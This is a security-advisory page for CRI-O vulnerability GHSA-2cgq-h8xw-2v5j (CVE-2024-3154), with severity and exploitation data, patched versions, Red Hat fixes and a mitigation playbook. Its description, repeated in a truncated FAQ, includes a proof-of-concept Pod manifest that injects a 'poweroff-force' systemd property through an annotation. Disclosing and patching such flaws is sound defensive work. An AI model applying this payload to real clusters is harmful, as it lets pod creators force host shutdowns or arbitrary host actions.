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HIGH severity

CRI-O vulnerable to an arbitrary systemd property injectionGHSA-2cgq-h8xw-2v5j

HIGHFix: opencontainers/runc#4217

GHSA-2cgq-h8xw-2v5j is a high-severity (CVSS 7.2) CWE-77 vulnerability in github.com/cri-o/cri-o. A fix is available for github.com/cri-o/cri-o — see the affected versions and patch details below.

Also known asCVE-2024-3154GO-2024-2791
Published
Updated
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-2cgq-h8xw-2v5j.

EPSS Exploitation Probability

via FIRST.org ↗
1.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs73th percentile — riskier than 73% of all scored CVEsHighest risk
0.00%0.64%1.28%1.92%0.3%1.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

3 pkgs affected
🐹github.com/cri-o/cri-o🐹github.com/cri-o/cri-o🐹github.com/cri-o/cri-o

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:

---
apiVersion: v1
kind: Pod
metadata:
  name: poc-arbitrary-systemd-property-injection
  annotations:
    # I believe that ExecStart with an arbitrary command works here too,
    # but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
    org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
  containers:
    - name: hello
      image: [quay.io/podman/hello](http://quay.io/podman/hello)

This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.

Tested with CRI-O v1.24 on minikube. I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367

Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations: https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536

CRI-O has to filter out annotations that have the prefix "org.systemd.property."

See also:

Workarounds

Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations

References

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/cri-o/cri-o≥ 1.29.0&&< 1.29.41.29.4go get github.com/cri-o/cri-o@v1.29.4
🐹Gogithub.com/cri-o/cri-o≥ 1.28.0&&< 1.28.61.28.6go get github.com/cri-o/cri-o@v1.28.6
🐹Gogithub.com/cri-o/cri-oall versions1.27.6go get github.com/cri-o/cri-o@v1.27.6

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/cri-o/cri-o, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/cri-o/cri-o to 1.29.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2cgq-h8xw-2v5j is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
ProductFixed inAdvisory
Red Hat OpenShift Container Platform 4.12cri-o-0:1.25.5-16.2.rhaos4.12.gitcb09013.el8RHSA-2024:2784
Red Hat OpenShift Container Platform 4.13cri-o-0:1.26.5-16.2.rhaos4.13.git67e2a9d.el8RHSA-2024:3496
Red Hat OpenShift Container Platform 4.14cri-o-0:1.27.6-2.rhaos4.14.gitb3bd0bf.el8RHSA-2024:2672
Red Hat OpenShift Container Platform 4.15cri-o-0:1.28.6-2.rhaos4.15.git77bbb1c.el8RHSA-2024:2669

Frequently Asked Questions

### Impact On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation: ``` --- apiVersion: v1 kind: Pod metadata: name: poc-arbitrary-systemd-property-injection annotations: # I believe that ExecStart with an arbitrary command works here too, # but I haven't figured out how to marshalize the ExecStart struct to gvariant string. org.systemd.property.SuccessAction: "'poweroff-force'" spec: containers: - name: hello image: [quay.io/podman/hello](http://quay.io/podman/hello) ``` This means that any user who can create a pod with an arbit
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CRI-O vulnerable to an arbitrary systemd property injection